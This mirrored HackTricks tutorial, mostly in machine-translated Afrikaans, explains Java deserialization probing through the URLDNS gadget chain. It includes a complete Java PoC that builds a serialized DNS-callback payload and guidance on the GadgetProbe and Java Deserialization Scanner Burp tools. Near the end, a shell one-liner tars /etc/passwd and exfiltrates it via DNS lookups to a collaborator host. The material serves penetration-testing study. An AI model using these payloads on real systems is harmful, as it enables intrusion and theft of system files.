mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 05:03:35 +00:00
213 lines
11 KiB
Markdown
213 lines
11 KiB
Markdown
# Java DNS Deserialization, GadgetProbe en Java Deserialization Scanner
|
|
|
|
{% hint style="success" %}
|
|
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Ondersteun HackTricks</summary>
|
|
|
|
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
|
|
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
{% endhint %}
|
|
|
|
## DNS versoek op deserialisering
|
|
|
|
Die klas `java.net.URL` implementeer `Serializable`, dit beteken dat hierdie klas geserialiseer kan word.
|
|
```java
|
|
public final class URL implements java.io.Serializable {
|
|
```
|
|
Hierdie klas het 'n **nuuskierige gedrag.** Uit die dokumentasie: “**Twee gasheer is gelykwaardig as beide gasheername in dieselfde IP adresse opgelos kan word**.”\
|
|
Dan, elke keer as 'n URL objek **enige** van die **funksies `equals`** of **`hashCode`** aanroep, gaan 'n **DNS versoek** om die IP Adres te kry **gestuur** word.
|
|
|
|
**Om** die funksie **`hashCode`** **van** 'n **URL** objek aan te roep is redelik maklik, dit is genoeg om hierdie objek binne 'n `HashMap` in te voeg wat gedeserialiseer gaan word. Dit is omdat **aan die einde** van die **`readObject`** funksie van `HashMap` hierdie kode uitgevoer word:
|
|
```java
|
|
private void readObject(java.io.ObjectInputStream s)
|
|
throws IOException, ClassNotFoundException {
|
|
[ ... ]
|
|
for (int i = 0; i < mappings; i++) {
|
|
[ ... ]
|
|
putVal(hash(key), key, value, false, false);
|
|
}
|
|
```
|
|
Dit is **gaan** die **uitvoer** `putVal` met elke waarde binne die `HashMap`. Maar, meer relevant is die oproep na `hash` met elke waarde. Dit is die kode van die `hash` funksie:
|
|
```java
|
|
static final int hash(Object key) {
|
|
int h;
|
|
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
|
|
}
|
|
```
|
|
As you can observe, **wanneer deserialiseer** 'n **`HashMap`** gaan die funksie `hash` **uitgevoer word met elke objek** en **tydens** die **`hash`** uitvoering **gaan dit `.hashCode()` van die objek uitvoer**. Daarom, as jy **deserialiseer** 'n **`HashMap`** **wat** 'n **URL** objek **bevat**, sal die **URL objek** **`.hashCode()` uitvoer**.
|
|
|
|
Nou, kom ons kyk na die kode van `URLObject.hashCode()` :
|
|
```java
|
|
public synchronized int hashCode() {
|
|
if (hashCode != -1)
|
|
return hashCode;
|
|
|
|
hashCode = handler.hashCode(this);
|
|
return hashCode;
|
|
```
|
|
As you can see, when a `URLObject` executes`.hashCode()` it is called `hashCode(this)`. 'n Voortsetting kan jy die kode van hierdie funksie sien:
|
|
```java
|
|
protected int hashCode(URL u) {
|
|
int h = 0;
|
|
|
|
// Generate the protocol part.
|
|
String protocol = u.getProtocol();
|
|
if (protocol != null)
|
|
h += protocol.hashCode();
|
|
|
|
// Generate the host part.
|
|
InetAddress addr = getHostAddress(u);
|
|
[ ... ]
|
|
```
|
|
You can see that a `getHostAddress` is executed to the domain, **wat 'n DNS-navraag** **ontketen**.
|
|
|
|
Therefore, this class can be **misbruik** in orde om **'n DNS-navraag** te **ontketen** om te **demonstrate** dat **deserialisering** moontlik is, of selfs om **inligting te exfiltreer** (jy kan die uitvoer van 'n opdraguitvoering as subdomein byvoeg).
|
|
|
|
### URLDNS payload code example
|
|
|
|
You can find the [URDNS payload code from ysoserial here](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java). However, just for make it easier to understand how to code it I created my own PoC (based on the one from ysoserial):
|
|
```java
|
|
import java.io.File;
|
|
import java.io.FileInputStream;
|
|
import java.io.FileOutputStream;
|
|
import java.io.IOException;
|
|
import java.io.ObjectInputStream;
|
|
import java.io.ObjectOutputStream;
|
|
import java.lang.reflect.Field;
|
|
import java.net.InetAddress;
|
|
import java.net.URLConnection;
|
|
import java.net.URLStreamHandler;
|
|
import java.util.HashMap;
|
|
import java.net.URL;
|
|
|
|
public class URLDNS {
|
|
public static void GeneratePayload(Object instance, String file)
|
|
throws Exception {
|
|
//Serialize the constructed payload and write it to the file
|
|
File f = new File(file);
|
|
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
|
|
out.writeObject(instance);
|
|
out.flush();
|
|
out.close();
|
|
}
|
|
public static void payloadTest(String file) throws Exception {
|
|
//Read the written payload and deserialize it
|
|
ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
|
|
Object obj = in.readObject();
|
|
System.out.println(obj);
|
|
in.close();
|
|
}
|
|
|
|
public static void main(final String[] args) throws Exception {
|
|
String url = "http://3tx71wjbze3ihjqej2tjw7284zapye.burpcollaborator.net";
|
|
HashMap ht = new HashMap(); // HashMap that will contain the URL
|
|
URLStreamHandler handler = new SilentURLStreamHandler();
|
|
URL u = new URL(null, url, handler); // URL to use as the Key
|
|
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
|
|
|
|
// During the put above, the URL's hashCode is calculated and cached.
|
|
// This resets that so the next time hashCode is called a DNS lookup will be triggered.
|
|
final Field field = u.getClass().getDeclaredField("hashCode");
|
|
field.setAccessible(true);
|
|
field.set(u, -1);
|
|
|
|
//Test the payloads
|
|
GeneratePayload(ht, "C:\\Users\\Public\\payload.serial");
|
|
}
|
|
}
|
|
|
|
|
|
class SilentURLStreamHandler extends URLStreamHandler {
|
|
|
|
protected URLConnection openConnection(URL u) throws IOException {
|
|
return null;
|
|
}
|
|
|
|
protected synchronized InetAddress getHostAddress(URL u) {
|
|
return null;
|
|
}
|
|
}
|
|
```
|
|
### Meer inligting
|
|
|
|
* [https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/](https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/)
|
|
* In die oorspronklike idee is die commons collections payload verander om 'n DNS-navraag uit te voer, dit was minder betroubaar as die voorgestelde metode, maar dit is die pos: [https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/](https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/)
|
|
|
|
## GadgetProbe
|
|
|
|
Jy kan [**GadgetProbe**](https://github.com/BishopFox/GadgetProbe) aflaai van die Burp Suite App Store (Extender).
|
|
|
|
**GadgetProbe** sal probeer om uit te vind of sommige **Java klasse bestaan** op die Java klas van die bediener sodat jy kan weet **of** dit **kwulnerbaar** is vir 'n bekende ontploffing.
|
|
|
|
### Hoe werk dit
|
|
|
|
**GadgetProbe** sal dieselfde **DNS payload van die vorige afdeling** gebruik, maar **voor** dit die DNS-navraag uitvoer, sal dit **probeer om 'n arbitrêre klas te deserialiseer**. As die **arbitrêre klas bestaan**, sal die **DNS-navraag** **gestuur** word en GadgetProbe sal opteken dat hierdie klas bestaan. As die **DNS** versoek **nooit gestuur** word, beteken dit dat die **arbitrêre klas nie suksesvol gedeserialiseer** is nie, so dit is of nie teenwoordig nie of dit is **nie serialiseerbaar/uitbuitbaar** nie.
|
|
|
|
Binne die github, [**GadgetProbe het 'n paar woordlyste**](https://github.com/BishopFox/GadgetProbe/tree/master/wordlists) met Java klasse wat getoets kan word.
|
|
|
|
![https://github.com/BishopFox/GadgetProbe/blob/master/assets/intruder4.gif](<../../.gitbook/assets/intruder4 (1) (1).gif>)
|
|
|
|
### Meer Inligting
|
|
|
|
* [https://know.bishopfox.com/research/gadgetprobe](https://know.bishopfox.com/research/gadgetprobe)
|
|
|
|
## Java Deserialization Scanner
|
|
|
|
Hierdie scanner kan **afgelaai** word van die Burp App Store (**Extender**).\
|
|
Die **uitbreiding** het **passiewe** en aktiewe **vermoëns**.
|
|
|
|
### Passief
|
|
|
|
Standaard **kontroleer dit passief** al die versoeke en antwoorde wat gestuur word **soek** vir **Java geserialiseerde magiese bytes** en sal 'n kwesbaarheid waarskuwing aanbied as enige gevind word:
|
|
|
|
![https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/](<../../.gitbook/assets/image (765).png>)
|
|
|
|
### Aktief
|
|
|
|
**Handmatige Toetsing**
|
|
|
|
Jy kan 'n versoek kies, regs klik en `Stuur versoek na DS - Handmatige Toetsing`.\
|
|
Dan, binne die _Deserialization Scanner Tab_ --> _Handmatige toetsing tab_ kan jy die **invoegpunt** kies. En **begin die toetsing** (Kies die toepaslike aanval afhangende van die kodering wat gebruik word).
|
|
|
|
![https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/](../../.gitbook/assets/3-1.png)
|
|
|
|
Selfs al word dit "Handmatige toetsing" genoem, is dit redelik **geoutomatiseer**. Dit sal outomaties kontroleer of die **deserialisering** **kwulnerbaar** is vir **enige ysoserial payload** deur die biblioteke wat op die webbediener teenwoordig is te kontroleer en sal die kwesbare uitlig. Om te **kontroleer** vir **kwulnerbare biblioteke** kan jy kies om **Javas Sleeps** te begin, **slaap** via **CPU** verbruik, of deur **DNS** soos voorheen genoem.
|
|
|
|
**Uitbuiting**
|
|
|
|
Sodra jy 'n kwesbare biblioteek geïdentifiseer het, kan jy die versoek na die _Uitbuiting Tab_ stuur.\
|
|
In hierdie tab moet jy die **inspuitpunt** weer **kies**, en **skryf** die **kwulnerbare biblioteek** waarvoor jy 'n payload wil skep, en die **opdrag**. Druk dan net die toepaslike **Aanval** knoppie.
|
|
|
|
![https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/](../../.gitbook/assets/4.png)
|
|
|
|
### Java Deserialization DNS Exfil inligting
|
|
|
|
Maak jou payload iets soos die volgende uitvoer:
|
|
```bash
|
|
(i=0;tar zcf - /etc/passwd | xxd -p -c 31 | while read line; do host $line.$i.cl1k22spvdzcxdenxt5onx5id9je73.burpcollaborator.net;i=$((i+1)); done)
|
|
```
|
|
### Meer Inligting
|
|
|
|
* [https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/](https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/)
|
|
|
|
{% hint style="success" %}
|
|
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Ondersteun HackTricks</summary>
|
|
|
|
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
|
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
{% endhint %}
|